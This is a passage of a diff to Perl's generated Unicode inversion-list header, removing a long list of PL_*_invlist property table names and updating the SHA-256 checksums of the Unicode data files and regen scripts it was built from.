PL_INTAILE_invlist, - PL_INTAITHAM_invlist, - PL_INTAIVIET_invlist, - PL_INTAKRI_invlist, - PL_INTAMIL_invlist, - PL_INTANGUT_invlist, - PL_INTELUGU_invlist, - PL_INTHAANA_invlist, - PL_INTHAI_invlist, - PL_INTIBETAN_invlist, - PL_INTIFINAGH_invlist, - PL_INTIRHUTA_invlist, - PL_INUGARITIC_invlist, - PL_INVAI_invlist, - PL_INVS_invlist, - PL_INWARANGCITI_invlist, - PL_INZANABAZARSQUARE_invlist, - PL_IN__10_invlist, - PL_IN__1_DOT_1_invlist, - PL_IN__2_invlist, - PL_IN__2_DOT_1_invlist, - PL_IN__3_invlist, - PL_IN__3_DOT_1_invlist, - PL_IN__3_DOT_2_invlist, - PL_IN__4_invlist, - PL_IN__4_DOT_1_invlist, - PL_IN__5_invlist, - PL_IN__5_DOT_1_invlist, - PL_IN__5_DOT_2_invlist, - PL_IN__6_invlist, - PL_IN__6_DOT_1_invlist, - PL_IN__6_DOT_2_invlist, - PL_IN__6_DOT_3_invlist, - PL_IN__7_invlist, - PL_IN__8_invlist, - PL_IN__9_invlist, - PL_IPAEXT_invlist, - PL_ITAL_invlist, - PL_JAMO_invlist, - PL_JAMOEXTA_invlist, - PL_JAMOEXTB_invlist, - PL_JAVA_invlist, - PL_JG__AFRICANFEH_invlist, - PL_JG__AFRICANNOON_invlist, - PL_JG__AFRICANQAF_invlist, - PL_JG__AIN_invlist, - PL_JG__ALAPH_invlist, - PL_JG__ALEF_invlist, - PL_JG__BEH_invlist, - PL_JG__BETH_invlist, - PL_JG__BURUSHASKIYEHBARREE_invlist, - PL_JG__DAL_invlist, - PL_JG__DALATHRISH_invlist, - PL_JG__E_invlist, - PL_JG__FARSIYEH_invlist, - PL_JG__FE_invlist, - PL_JG__FEH_invlist, - PL_JG__FINALSEMKATH_invlist, - PL_JG__GAF_invlist, - PL_JG__GAMAL_invlist, - PL_JG__HAH_invlist, - PL_JG__HAMZAONHEHGOAL_invlist, - PL_JG__HE_invlist, - PL_JG__HEH_invlist, - PL_JG__HEHGOAL_invlist, - PL_JG__HETH_invlist, - PL_JG__KAF_invlist, - PL_JG__KAPH_invlist, - PL_JG__KHAPH_invlist, - PL_JG__KNOTTEDHEH_invlist, - PL_JG__LAM_invlist, - PL_JG__LAMADH_invlist, - PL_JG__MALAYALAMBHA_invlist, - PL_JG__MALAYALAMJA_invlist, - PL_JG__MALAYALAMLLA_invlist, - PL_JG__MALAYALAMLLLA_invlist, - PL_JG__MALAYALAMNGA_invlist, - PL_JG__MALAYALAMNNA_invlist, - PL_JG__MALAYALAMNNNA_invlist, - PL_JG__MALAYALAMNYA_invlist, - PL_JG__MALAYALAMRA_invlist, - PL_JG__MALAYALAMSSA_invlist, - PL_JG__MALAYALAMTTA_invlist, - PL_JG__MANICHAEANALEPH_invlist, - PL_JG__MANICHAEANAYIN_invlist, - PL_JG__MANICHAEANBETH_invlist, - PL_JG__MANICHAEANDALETH_invlist, - PL_JG__MANICHAEANDHAMEDH_invlist, - PL_JG__MANICHAEANFIVE_invlist, - PL_JG__MANICHAEANGIMEL_invlist, - PL_JG__MANICHAEANHETH_invlist, - PL_JG__MANICHAEANHUNDRED_invlist, - PL_JG__MANICHAEANKAPH_invlist, - PL_JG__MANICHAEANLAMEDH_invlist, - PL_JG__MANICHAEANMEM_invlist, - PL_JG__MANICHAEANNUN_invlist, - PL_JG__MANICHAEANONE_invlist, - PL_JG__MANICHAEANPE_invlist, - PL_JG__MANICHAEANQOPH_invlist, - PL_JG__MANICHAEANRESH_invlist, - PL_JG__MANICHAEANSADHE_invlist, - PL_JG__MANICHAEANSAMEKH_invlist, - PL_JG__MANICHAEANTAW_invlist, - PL_JG__MANICHAEANTEN_invlist, - PL_JG__MANICHAEANTETH_invlist, - PL_JG__MANICHAEANTHAMEDH_invlist, - PL_JG__MANICHAEANTWENTY_invlist, - PL_JG__MANICHAEANWAW_invlist, - PL_JG__MANICHAEANYODH_invlist, - PL_JG__MANICHAEANZAYIN_invlist, - PL_JG__MEEM_invlist, - PL_JG__MIM_invlist, - PL_JG__NOJOININGGROUP_invlist, - PL_JG__NOON_invlist, - PL_JG__NUN_invlist, - PL_JG__NYA_invlist, - PL_JG__PE_invlist, - PL_JG__QAF_invlist, - PL_JG__QAPH_invlist, - PL_JG__REH_invlist, - PL_JG__REVERSEDPE_invlist, - PL_JG__ROHINGYAYEH_invlist, - PL_JG__SAD_invlist, - PL_JG__SADHE_invlist, - PL_JG__SEEN_invlist, - PL_JG__SEMKATH_invlist, - PL_JG__SHIN_invlist, - PL_JG__STRAIGHTWAW_invlist, - PL_JG__SWASHKAF_invlist, - PL_JG__SYRIACWAW_invlist, - PL_JG__TAH_invlist, - PL_JG__TAW_invlist, - PL_JG__TEHMARBUTA_invlist, - PL_JG__TETH_invlist, - PL_JG__WAW_invlist, - PL_JG__YEH_invlist, - PL_JG__YEHBARREE_invlist, - PL_JG__YEHWITHTAIL_invlist, - PL_JG__YUDH_invlist, - PL_JG__YUDHHE_invlist, - PL_JG__ZAIN_invlist, - PL_JG__ZHAIN_invlist, - PL_JOINC_invlist, - PL_JT__C_invlist, - PL_JT__D_invlist, - PL_JT__L_invlist, - PL_JT__R_invlist, - PL_JT__T_invlist, - PL_JT__U_invlist, - PL_KALI_invlist, - PL_KANA_invlist, - PL_KANAEXTA_invlist, - PL_KANASUP_invlist, - PL_KANBUN_invlist, - PL_KANGXI_invlist, - PL_KATAKANAEXT_invlist, - PL_KHAR_invlist, - PL_KHMERSYMBOLS_invlist, - PL_KHMR_invlist, - PL_KHOJ_invlist, - PL_KNDA_invlist, - PL_KTHI_invlist, - PL_L_invlist, - PL_LANA_invlist, - PL_LAO_invlist, - PL_LATIN1_invlist, - PL_LATINEXTA_invlist, - PL_LATINEXTADDITIONAL_invlist, - PL_LATINEXTB_invlist, - PL_LATINEXTC_invlist, - PL_LATINEXTD_invlist, - PL_LATINEXTE_invlist, - PL_LATN_invlist, - PL_LB__AI_invlist, - PL_LB__AL_invlist, - PL_LB__B2_invlist, - PL_LB__BA_invlist, - PL_LB__BB_invlist, - PL_LB__BK_invlist, - PL_LB__CB_invlist, - PL_LB__CJ_invlist, - PL_LB__CL_invlist, - PL_LB__CM_invlist, - PL_LB__CP_invlist, - PL_LB__CR_invlist, - PL_LB__EB_invlist, - PL_LB__EM_invlist, - PL_LB__EX_invlist, - PL_LB__GL_invlist, - PL_LB__H2_invlist, - PL_LB__H3_invlist, - PL_LB__HL_invlist, - PL_LB__HY_invlist, - PL_LB__ID_invlist, - PL_LB__IN_invlist, - PL_LB__IS_invlist, - PL_LB__LF_invlist, - PL_LB__NL_invlist, - PL_LB__NS_invlist, - PL_LB__NU_invlist, - PL_LB__OP_invlist, - PL_LB__PO_invlist, - PL_LB__PR_invlist, - PL_LB__QU_invlist, - PL_LB__SA_invlist, - PL_LB__SG_invlist, - PL_LB__SP_invlist, - PL_LB__SY_invlist, - PL_LB__WJ_invlist, - PL_LB__XX_invlist, - PL_LB__ZW_invlist, - PL_LB__ZWJ_invlist, - PL_LEPC_invlist, - PL_LETTERLIKESYMBOLS_invlist, - PL_LIMB_invlist, - PL_LINA_invlist, - PL_LINB_invlist, - PL_LINEARBIDEOGRAMS_invlist, - PL_LINEARBSYLLABARY_invlist, - PL_LISU_invlist, - PL_LM_invlist, - PL_LO_invlist, - PL_LOE_invlist, - PL_LOWERCASELETTER_invlist, - PL_LOWSURROGATES_invlist, - PL_LYCI_invlist, - PL_LYDI_invlist, - PL_M_invlist, - PL_MAHJ_invlist, - PL_MAHJONG_invlist, - PL_MAND_invlist, - PL_MANI_invlist, - PL_MARC_invlist, - PL_MATH_invlist, - PL_MATHALPHANUM_invlist, - PL_MATHOPERATORS_invlist, - PL_MC_invlist, - PL_ME_invlist, - PL_MEETEIMAYEKEXT_invlist, - PL_MEND_invlist, - PL_MERC_invlist, - PL_MERO_invlist, - PL_MIAO_invlist, - PL_MISCARROWS_invlist, - PL_MISCMATHSYMBOLSA_invlist, - PL_MISCMATHSYMBOLSB_invlist, - PL_MISCPICTOGRAPHS_invlist, - PL_MISCSYMBOLS_invlist, - PL_MISCTECHNICAL_invlist, - PL_MLYM_invlist, - PL_MN_invlist, - PL_MODI_invlist, - PL_MODIFIERLETTERS_invlist, - PL_MODIFIERTONELETTERS_invlist, - PL_MONG_invlist, - PL_MONGOLIANSUP_invlist, - PL_MRO_invlist, - PL_MTEI_invlist, - PL_MULT_invlist, - PL_MUSIC_invlist, - PL_MYANMAREXTA_invlist, - PL_MYANMAREXTB_invlist, - PL_MYMR_invlist, - PL_N_invlist, - PL_NARB_invlist, - PL_NB_invlist, - PL_NBAT_invlist, - PL_NEWA_invlist, - PL_NFCQC__M_invlist, - PL_NFCQC__Y_invlist, - PL_NFDQC__Y_invlist, - PL_NFKCQC__N_invlist, - PL_NFKCQC__Y_invlist, - PL_NFKDQC__N_invlist, - PL_NKO_invlist, - PL_NL_invlist, - PL_NO_invlist, - PL_NSHU_invlist, - PL_NT__DI_invlist, - PL_NT__NU_invlist, - PL_NUMBERFORMS_invlist, - PL_NV__0_invlist, - PL_NV__1_invlist, - PL_NV__10_invlist, - PL_NV__100_invlist, - PL_NV__1000_invlist, - PL_NV__10000_invlist, - PL_NV__100000_invlist, - PL_NV__1000000_invlist, - PL_NV__100000000_invlist, - PL_NV__10000000000_invlist, - PL_NV__1000000000000_invlist, - PL_NV__11_invlist, - PL_NV__11_SLASH_12_invlist, - PL_NV__11_SLASH_2_invlist, - PL_NV__12_invlist, - PL_NV__13_invlist, - PL_NV__13_SLASH_2_invlist, - PL_NV__14_invlist, - PL_NV__15_invlist, - PL_NV__15_SLASH_2_invlist, - PL_NV__16_invlist, - PL_NV__17_invlist, - PL_NV__17_SLASH_2_invlist, - PL_NV__18_invlist, - PL_NV__19_invlist, - PL_NV__1_SLASH_10_invlist, - PL_NV__1_SLASH_12_invlist, - PL_NV__1_SLASH_16_invlist, - PL_NV__1_SLASH_160_invlist, - PL_NV__1_SLASH_2_invlist, - PL_NV__1_SLASH_20_invlist, - PL_NV__1_SLASH_3_invlist, - PL_NV__1_SLASH_4_invlist, - PL_NV__1_SLASH_40_invlist, - PL_NV__1_SLASH_5_invlist, - PL_NV__1_SLASH_6_invlist, - PL_NV__1_SLASH_7_invlist, - PL_NV__1_SLASH_8_invlist, - PL_NV__1_SLASH_9_invlist, - PL_NV__2_invlist, - PL_NV__20_invlist, - PL_NV__200_invlist, - PL_NV__2000_invlist, - PL_NV__20000_invlist, - PL_NV__200000_invlist, - PL_NV__21_invlist, - PL_NV__216000_invlist, - PL_NV__22_invlist, - PL_NV__23_invlist, - PL_NV__24_invlist, - PL_NV__25_invlist, - PL_NV__26_invlist, - PL_NV__27_invlist, - PL_NV__28_invlist, - PL_NV__29_invlist, - PL_NV__2_SLASH_3_invlist, - PL_NV__2_SLASH_5_invlist, - PL_NV__3_invlist, - PL_NV__30_invlist, - PL_NV__300_invlist, - PL_NV__3000_invlist, - PL_NV__30000_invlist, - PL_NV__300000_invlist, - PL_NV__31_invlist, - PL_NV__32_invlist, - PL_NV__33_invlist, - PL_NV__34_invlist, - PL_NV__35_invlist, - PL_NV__36_invlist, - PL_NV__37_invlist, - PL_NV__38_invlist, - PL_NV__39_invlist, - PL_NV__3_SLASH_16_invlist, - PL_NV__3_SLASH_2_invlist, - PL_NV__3_SLASH_20_invlist, - PL_NV__3_SLASH_4_invlist, - PL_NV__3_SLASH_5_invlist, - PL_NV__3_SLASH_8_invlist, - PL_NV__3_SLASH_80_invlist, - PL_NV__4_invlist, - PL_NV__40_invlist, - PL_NV__400_invlist, - PL_NV__4000_invlist, - PL_NV__40000_invlist, - PL_NV__400000_invlist, - PL_NV__41_invlist, - PL_NV__42_invlist, - PL_NV__43_invlist, - PL_NV__432000_invlist, - PL_NV__44_invlist, - PL_NV__45_invlist, - PL_NV__46_invlist, - PL_NV__47_invlist, - PL_NV__48_invlist, - PL_NV__49_invlist, - PL_NV__4_SLASH_5_invlist, - PL_NV__5_invlist, - PL_NV__50_invlist, - PL_NV__500_invlist, - PL_NV__5000_invlist, - PL_NV__50000_invlist, - PL_NV__500000_invlist, - PL_NV__5_SLASH_12_invlist, - PL_NV__5_SLASH_2_invlist, - PL_NV__5_SLASH_6_invlist, - PL_NV__5_SLASH_8_invlist, - PL_NV__6_invlist, - PL_NV__60_invlist, - PL_NV__600_invlist, - PL_NV__6000_invlist, - PL_NV__60000_invlist, - PL_NV__600000_invlist, - PL_NV__7_invlist, - PL_NV__70_invlist, - PL_NV__700_invlist, - PL_NV__7000_invlist, - PL_NV__70000_invlist, - PL_NV__700000_invlist, - PL_NV__7_SLASH_12_invlist, - PL_NV__7_SLASH_2_invlist, - PL_NV__7_SLASH_8_invlist, - PL_NV__8_invlist, - PL_NV__80_invlist, - PL_NV__800_invlist, - PL_NV__8000_invlist, - PL_NV__80000_invlist, - PL_NV__800000_invlist, - PL_NV__9_invlist, - PL_NV__90_invlist, - PL_NV__900_invlist, - PL_NV__9000_invlist, - PL_NV__90000_invlist, - PL_NV__900000_invlist, - PL_NV__9_SLASH_2_invlist, - PL_NV__NAN_invlist, - PL_NV___MINUS_1_SLASH_2_invlist, - PL_OCR_invlist, - PL_OGAM_invlist, - PL_OLCK_invlist, - PL_ORKH_invlist, - PL_ORNAMENTALDINGBATS_invlist, - PL_ORYA_invlist, - PL_OSGE_invlist, - PL_OSMA_invlist, - PL_P_invlist, - PL_PALM_invlist, - PL_PATSYN_invlist, - PL_PAUC_invlist, - PL_PC_invlist, - PL_PCM_invlist, - PL_PD_invlist, - PL_PE_invlist, - PL_PERM_invlist, - PL_PF_invlist, - PL_PHAG_invlist, - PL_PHAISTOS_invlist, - PL_PHLI_invlist, - PL_PHLP_invlist, - PL_PHNX_invlist, - PL_PHONETICEXT_invlist, - PL_PHONETICEXTSUP_invlist, - PL_PI_invlist, - PL_PLAYINGCARDS_invlist, - PL_PO_invlist, - PL_POSIXALNUM_invlist, - PL_POSIXALPHA_invlist, - PL_POSIXBLANK_invlist, - PL_POSIXCNTRL_invlist, - PL_POSIXDIGIT_invlist, - PL_POSIXGRAPH_invlist, - PL_POSIXLOWER_invlist, - PL_POSIXPRINT_invlist, - PL_POSIXPUNCT_invlist, - PL_POSIXSPACE_invlist, - PL_POSIXUPPER_invlist, - PL_POSIXWORD_invlist, - PL_POSIXXDIGIT_invlist, - PL_PRTI_invlist, - PL_PS_invlist, - PL_PUA_invlist, - PL_QAAI_invlist, - PL_QMARK_invlist, - PL_RADICAL_invlist, - PL_RI_invlist, - PL_RJNG_invlist, - PL_RUMI_invlist, - PL_RUNR_invlist, - PL_S_invlist, - PL_SAMR_invlist, - PL_SARB_invlist, - PL_SAUR_invlist, - PL_SB__AT_invlist, - PL_SB__CL_invlist, - PL_SB__EX_invlist, - PL_SB__FO_invlist, - PL_SB__LE_invlist, - PL_SB__LO_invlist, - PL_SB__SC_invlist, - PL_SB__SE_invlist, - PL_SB__SP_invlist, - PL_SB__ST_invlist, - PL_SB__UP_invlist, - PL_SB__XX_invlist, - PL_SC_invlist, - PL_SC__ADLM_invlist, - PL_SC__ARAB_invlist, - PL_SC__ARMN_invlist, - PL_SC__BENG_invlist, - PL_SC__BOPO_invlist, - PL_SC__BUGI_invlist, - PL_SC__BUHD_invlist, - PL_SC__CAKM_invlist, - PL_SC__COPT_invlist, - PL_SC__CPRT_invlist, - PL_SC__CYRL_invlist, - PL_SC__DEVA_invlist, - PL_SC__DUPL_invlist, - PL_SC__GEOR_invlist, - PL_SC__GLAG_invlist, - PL_SC__GRAN_invlist, - PL_SC__GREK_invlist, - PL_SC__GUJR_invlist, - PL_SC__GURU_invlist, - PL_SC__HAN_invlist, - PL_SC__HANG_invlist, - PL_SC__HANO_invlist, - PL_SC__HIRA_invlist, - PL_SC__JAVA_invlist, - PL_SC__KALI_invlist, - PL_SC__KANA_invlist, - PL_SC__KHOJ_invlist, - PL_SC__KNDA_invlist, - PL_SC__KTHI_invlist, - PL_SC__LATN_invlist, - PL_SC__LIMB_invlist, - PL_SC__LINA_invlist, - PL_SC__LINB_invlist, - PL_SC__MAHJ_invlist, - PL_SC__MAND_invlist, - PL_SC__MANI_invlist, - PL_SC__MLYM_invlist, - PL_SC__MODI_invlist, - PL_SC__MONG_invlist, - PL_SC__MULT_invlist, - PL_SC__MYMR_invlist, - PL_SC__ORYA_invlist, - PL_SC__PERM_invlist, - PL_SC__PHAG_invlist, - PL_SC__PHLP_invlist, - PL_SC__QAAI_invlist, - PL_SC__SHRD_invlist, - PL_SC__SIND_invlist, - PL_SC__SINH_invlist, - PL_SC__SYLO_invlist, - PL_SC__SYRC_invlist, - PL_SC__TAGB_invlist, - PL_SC__TAKR_invlist, - PL_SC__TALE_invlist, - PL_SC__TAML_invlist, - PL_SC__TELU_invlist, - PL_SC__TGLG_invlist, - PL_SC__THAA_invlist, - PL_SC__TIRH_invlist, - PL_SC__YI_invlist, - PL_SC__ZYYY_invlist, - PL_SD_invlist, - PL_SGNW_invlist, - PL_SHAW_invlist, - PL_SHORTHANDFORMATCONTROLS_invlist, - PL_SHRD_invlist, - PL_SIDD_invlist, - PL_SIND_invlist, - PL_SINH_invlist, - PL_SINHALAARCHAICNUMBERS_invlist, - PL_SK_invlist, - PL_SM_invlist, - PL_SMALLFORMS_invlist, - PL_SO_invlist, - PL_SORA_invlist, - PL_SOYO_invlist, - PL_SPECIALS_invlist, - PL_STERM_invlist, - PL_SUND_invlist, - PL_SUNDANESESUP_invlist, - PL_SUPARROWSA_invlist, - PL_SUPARROWSB_invlist, - PL_SUPARROWSC_invlist, - PL_SUPERANDSUB_invlist, - PL_SUPMATHOPERATORS_invlist, - PL_SUPPUAA_invlist, - PL_SUPPUAB_invlist, - PL_SUPPUNCTUATION_invlist, - PL_SUPSYMBOLSANDPICTOGRAPHS_invlist, - PL_SUTTONSIGNWRITING_invlist, - PL_SYLO_invlist, - PL_SYRC_invlist, - PL_SYRIACSUP_invlist, - PL_TAGB_invlist, - PL_TAGS_invlist, - PL_TAIXUANJING_invlist, - PL_TAKR_invlist, - PL_TALE_invlist, - PL_TALU_invlist, - PL_TAML_invlist, - PL_TANG_invlist, - PL_TANGUTCOMPONENTS_invlist, - PL_TAVT_invlist, - PL_TELU_invlist, - PL_TERM_invlist, - PL_TFNG_invlist, - PL_TGLG_invlist, - PL_THAA_invlist, - PL_THAI_invlist, - PL_TIBT_invlist, - PL_TIRH_invlist, - PL_TITLE_invlist, - PL_TRANSPORTANDMAP_invlist, - PL_UCAS_invlist, - PL_UCASEXT_invlist, - PL_UGAR_invlist, - PL_UIDEO_invlist, - PL_UPPERCASELETTER_invlist, - PL_VAI_invlist, - PL_VEDICEXT_invlist, - PL_VERTICALFORMS_invlist, - PL_VERTSPACE_invlist, - PL_VO__R_invlist, - PL_VO__TR_invlist, - PL_VO__TU_invlist, - PL_VO__U_invlist, - PL_VS_invlist, - PL_VSSUP_invlist, - PL_WARA_invlist, - PL_WB__DQ_invlist, - PL_WB__EB_invlist, - PL_WB__EBG_invlist, - PL_WB__EX_invlist, - PL_WB__EXTEND_invlist, - PL_WB__FO_invlist, - PL_WB__GAZ_invlist, - PL_WB__KA_invlist, - PL_WB__LE_invlist, - PL_WB__MB_invlist, - PL_WB__ML_invlist, - PL_WB__MN_invlist, - PL_WB__NL_invlist, - PL_WB__NU_invlist, - PL_WB__SQ_invlist, - PL_WB__XX_invlist, - PL_XIDC_invlist, - PL_XIDS_invlist, - PL_XPEO_invlist, - PL_XPOSIXALNUM_invlist, - PL_XPOSIXALPHA_invlist, - PL_XPOSIXBLANK_invlist, - PL_XPOSIXCNTRL_invlist, - PL_XPOSIXDIGIT_invlist, - PL_XPOSIXGRAPH_invlist, - PL_XPOSIXLOWER_invlist, - PL_XPOSIXPRINT_invlist, - PL_XPOSIXPUNCT_invlist, - PL_XPOSIXSPACE_invlist, - PL_XPOSIXUPPER_invlist, - PL_XPOSIXWORD_invlist, - PL_XPOSIXXDIGIT_invlist, - PL_XSUX_invlist, - PL_YI_invlist, - PL_YIJING_invlist, - PL_YIRADICALS_invlist, - PL_YISYLLABLES_invlist, - PL_Z_invlist, - PL_ZANB_invlist, - PL_ZL_invlist, - PL_ZP_invlist, - PL_ZS_invlist, - PL_ZYYY_invlist, - PL_ZZZZ_invlist, - PL__PERL_ANY_FOLDS_invlist, - PL__PERL_CHARNAME_BEGIN_invlist, - PL__PERL_CHARNAME_CONTINUE_invlist, - PL__PERL_FOLDS_TO_MULTI_CHAR_invlist, - PL__PERL_IDCONT_invlist, - PL__PERL_IDSTART_invlist, - PL__PERL_NCHAR_invlist, - PL__PERL_PATWS_invlist, - PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START_invlist, - PL__PERL_PROBLEMATIC_LOCALE_FOLDS_invlist, - PL__PERL_QUOTEMETA_invlist, - PL__PERL_SURROGATE_invlist -}; - -#endif /* defined(PERL_IN_UTF8_C) */ +#endif /* EBCDIC 037 */ #if defined(PERL_IN_REGEXEC_C) @@ -374279,53 +95364,51 @@ static const U8 WB_table[24][24] = { #endif /* defined(PERL_IN_REGEXEC_C) */ /* Generated from: - * f0b404b165a72b0aaeca3ce517cd14ea1b501720c98719dadbb990f1952fc568 lib/Unicode/UCD.pm - * ff4404ec64f308bdf7714c50f9fdf0d1d0bf3c34db4d0a67e58ef0c6f88e818f lib/unicore/ArabicShaping.txt - * 292171a0a1c13d7e581e8781eb4cdf248243b1ab267354a63c7a14429dea2740 lib/unicore/BidiBrackets.txt - * 8f2695cc42989a79a715ab0d2892bd0c998759180cfdfb998674447f48231940 lib/unicore/BidiMirroring.txt - * 5ae1649a42ed8ae8cb885af79563f00a9ae17e602405a56ed8aca214da14eea7 lib/unicore/Blocks.txt - * 97b43ed3f4b80572c2114200e5e43a6b923d984c74a6caaf27de5b8462c04cb0 lib/unicore/CaseFolding.txt - * eedcf6932b4081ee65878454588c803af910a5aed7c8c67e3c38701cbee9b9e4 lib/unicore/CompositionExclusions.txt - * 90e48995643f45b08f0ef67fb90de3bb18e26765272bcc0c35c840cbc10b37c1 lib/unicore/DAge.txt - * e6ca152259189ec4bc2297e93c6c88f86e162cc52814198263497f3c9b46cbe9 lib/unicore/DCoreProperties.txt - * 3e255ccdff4b00cfe0be53bbd583e4fe2e7d4039138579543548a5ecfce45242 lib/unicore/DNormalizationProps.txt - * 9f34e2d3ea27ca82f4f14b62411861d1f07c4b9e296d54da112a09cad5b9a48d lib/unicore/EastAsianWidth.txt - * 983810c739b56b9ff0fcb5db018c67d584ee515e8a5f4d9348c79ee85167ec37 lib/unicore/HangulSyllableType.txt - * 7d514a779ee4baf91262bd83c400cb502c3e435dba4b880c876506be32b8e1d0 lib/unicore/IndicPositionalCategory.txt - * f6acead8f84df5c72f3fb70dfc9375279926e4d8ef3480ffff3723095e9804aa lib/unicore/IndicSyllabicCategory.txt - * c8ed526f70443535ca6b705980a08c774017ff17e921202dcb7b71ae554047b6 lib/unicore/Jamo.txt - * 6b204c3727b77699d04a574b22b1e44facab038642095b8565b49762970d9bf8 lib/unicore/LineBreak.txt - * f2357d2bd3526b9e830de72ab038dcfc65a2dff24bcb4c6325c92071eb341f88 lib/unicore/NameAliases.txt - * 6c3e6bd1e58b640076a23b83318a8bf6a691d7fc2b2106114d77c5c5a898bced lib/unicore/NamedSequences.txt - * 58dbf8fedbd5bf67a3bd5c10eda2f2acf2eae59df5f77884a6f158e98f75cf8c lib/unicore/PropList.txt - * a6b0467c3cc7aa4e57d4e5cc7f6e9562b79cf4426dfe438517c28b368ed3e673 lib/unicore/PropValueAliases.txt - * 9ca521224e08d30696516ae6bc3d4434659c45df16047c0d31e440783c163a3b lib/unicore/PropertyAliases.txt - * 3fd0d744a816ddfd06809f92151ae4a73ec970ac2006806c269732d8951f3911 lib/unicore/ScriptExtensions.txt - * d02e24e4c516e9090b6bc9c2d2c8f4c89510b6ed8c5e859d0a861b0dc5cf372d lib/unicore/Scripts.txt - * e9947a0e86f27353f0e776403c4826675001210bd39d7114118a8864a57f7472 lib/unicore/SpecialCasing.txt - * 52423e4d7492167b62f518f68d54db88930abbbff7f11edfcaec8f726498cab1 lib/unicore/UnicodeData.txt - * f28caf260635cebf25fd58124bdc9aa22af08ba4d039ffc584365fb41a31cda5 lib/unicore/VerticalOrientation.txt - * 718d174957712410bfad782b10d557e1047574d7ef1642d6bb122f8ca5662c82 lib/unicore/auxiliary/GCBTest.txt - * 3b66caefc4fa877d0e50dbbbfa39658c86e29b26c6f206f68d7aec192d4c59b6 lib/unicore/auxiliary/GraphemeBreakProperty.txt - * 2aad3836c37fc4c2fa2a24f21586fb3a931dacaf0a1c845a6dc6395f30bd79a7 lib/unicore/auxiliary/LBTest.txt - * eacc03e39dddc60cc59ec9bd274b8ac8dfa25d61745ef0d5c8aa1c151a5b68ba lib/unicore/auxiliary/SBTest.txt - * e45fa8195bb413b901cc1e3772dfea2cead86805d46a51e3480a5a256e8c24d9 lib/unicore/auxiliary/SentenceBreakProperty.txt - * 95789f62e3b1e781dc9ed78f3983d39ff1a5e36ff0b497d6e610446df902b0f6 lib/unicore/auxiliary/WBTest.txt - * c207e8ebd06ee591a27b1087f2971f4cd93e960103c453d85d1d9ba26fb8b202 lib/unicore/auxiliary/WordBreakProperty.txt - * a3c0839826a30166b2bb06ba58df403547b8c3d9eae995ef889d20d115f4b223 lib/unicore/extracted/DBidiClass.txt - * 280afe22f6c4d56566d17d6d1400f33465a979c96f3d99ff3bff9bd14d17e734 lib/unicore/extracted/DBinaryProperties.txt - * db7fd6a5e6f068c47dbc3b74fb633fb1d09d17073410fe435295d05ce925c5f6 lib/unicore/extracted/DCombiningClass.txt - * 8204c07a7c217bdf22525030ad7b4fb991edf463bffcca7e6dba46b9992e0d99 lib/unicore/extracted/DDecompositionType.txt - * e343113719b660bdd81217ec101ce751f844fca0e8d6f15fb21c8ee7dfe7c14c lib/unicore/extracted/DEastAsianWidth.txt - * 07c55b0ed7271fe1a5f4d68059291288b1a8ad61940602d18956fd87390c2d9e lib/unicore/extracted/DGeneralCategory.txt - * d788b9362ec7681e98f8b9d6ef276546e1a6207dda05317ede55bd686b0940a9 lib/unicore/extracted/DJoinGroup.txt - * ebbea3c93eeb7431378885aebac0490d77f6900239c9176f90b6fee030903d96 lib/unicore/extracted/DJoinType.txt - * be0f129691d479aa38646e4ca0ec1ee576ae7f75b0300a5624a7fa862fa8abba lib/unicore/extracted/DLineBreak.txt - * 92449d354d9f6b6f2f97a292ebb59f6344ffdeb83d120d7d23e569c43ba67cd5 lib/unicore/extracted/DNumType.txt - * e3a319527153b0c6c0c549b40fc6f3a01a7a0dcd6620784391db25901df3b154 lib/unicore/extracted/DNumValues.txt - * 6aaacc29ce24746bcb2bf82a920fcf90e07cf92d75325199c50f40754d39bb72 lib/unicore/mktables - * 21653d2744fdd071f9ef138c805393901bb9547cf3e777ebf50215a191f986ea lib/unicore/version - * 4bb677187a1a64e39d48f2e341b5ecb6c99857e49d7a79cf503bd8a3c709999b regen/charset_translations.pl - * 03e51b0f07beebd5da62ab943899aa4934eee1f792fa27c1fb638c33bf4ac6ea regen/mk_PL_charclass.pl - * 06e7b77f7033a8866ddc1a18d59dd946f784e081af4d4ba4f065a52f68924a5d regen/mk_invlists.pl + * 3d90f60be77f44dea803ca765001cbcbe92d7e0044c7ebbbd120893410ce7bd7 lib/Unicode/UCD.pm + * 47cb62a53beea6d0263e2147331c7e751853c9327225d95bbe2d9e1dc3e1aa44 lib/unicore/ArabicShaping.txt + * 153f0a100c315f9f3945e78f57137611d36c44b3a975919c499fd403413fede8 lib/unicore/BidiBrackets.txt + * fbe806975c1bf9fc9960bbaa39ff6290c42c7da8315f9cd459109b024cc1c485 lib/unicore/BidiMirroring.txt + * 612127d4889032e55d82522e4a0c19793bda8aa8da14ecb3c696d17c83e6be13 lib/unicore/Blocks.txt + * 37d40cf8c2c35637f4a04e746814e1fc4eb764c272bed9238a87ee96a4866857 lib/unicore/CaseFolding.txt + * 5623df16856ad4007c60bdfff6f054e087521becd24cb4006be69c3a1d851aee lib/unicore/CompositionExclusions.txt + * 5cb15b04693c43df16e0d304deca049e93b001445d163184e0ff1b7c8c852146 lib/unicore/DAge.txt + * 6662c7e30b572df5d948c092692f52bcc79ab36d49a063a73d6435042db6fb3b lib/unicore/DCoreProperties.txt + * 02d8e12cea7c61a9f3cc5fbf8eaceadf8da23fe83d60c64cf647088830b810cc lib/unicore/DNormalizationProps.txt + * 3382cb4980e0021e9d4312f2d099315cfab6100ce0ff63a22d6937bfa720bcb7 lib/unicore/EastAsianWidth.txt + * cb02ff25c375e78c82afffc852180eae7fc17c2f4434e697107720d05c52b26e lib/unicore/HangulSyllableType.txt + * 850043bc9db08eddb271e43ed9176b865df76745a5fb6e9a4a1d9e54e5036471 lib/unicore/IndicPositionalCategory.txt + * 90a3a00a5f5810850986c9279849b03c2f3133cfeeefb0554e851dd5ad7324dc lib/unicore/IndicSyllabicCategory.txt + * bbd36a8d27f76e0fe0f2b0ca2827ac80da4b4a8d5247f0b0670fcaaac68ae6e1 lib/unicore/Jamo.txt + * e2698584982ccd96e0c688bbcd4d2c48a23805baa0a0084388ef2e50ebd30aad lib/unicore/LineBreak.txt + * 9d5353b1d318e72a63a49aa6a6a051d350382ea44b2cf31fe925bb94ce7e129b lib/unicore/NameAliases.txt + * 009477f536f63016d901aeb1a4c820ad291e30e72ee9eb9ac1dfb6294a8a9bcc lib/unicore/NamedSequences.txt + * f413ea8dbd3858de72f3148b47dd0586019761357d1481e3b65f3a025bc27f82 lib/unicore/PropList.txt + * 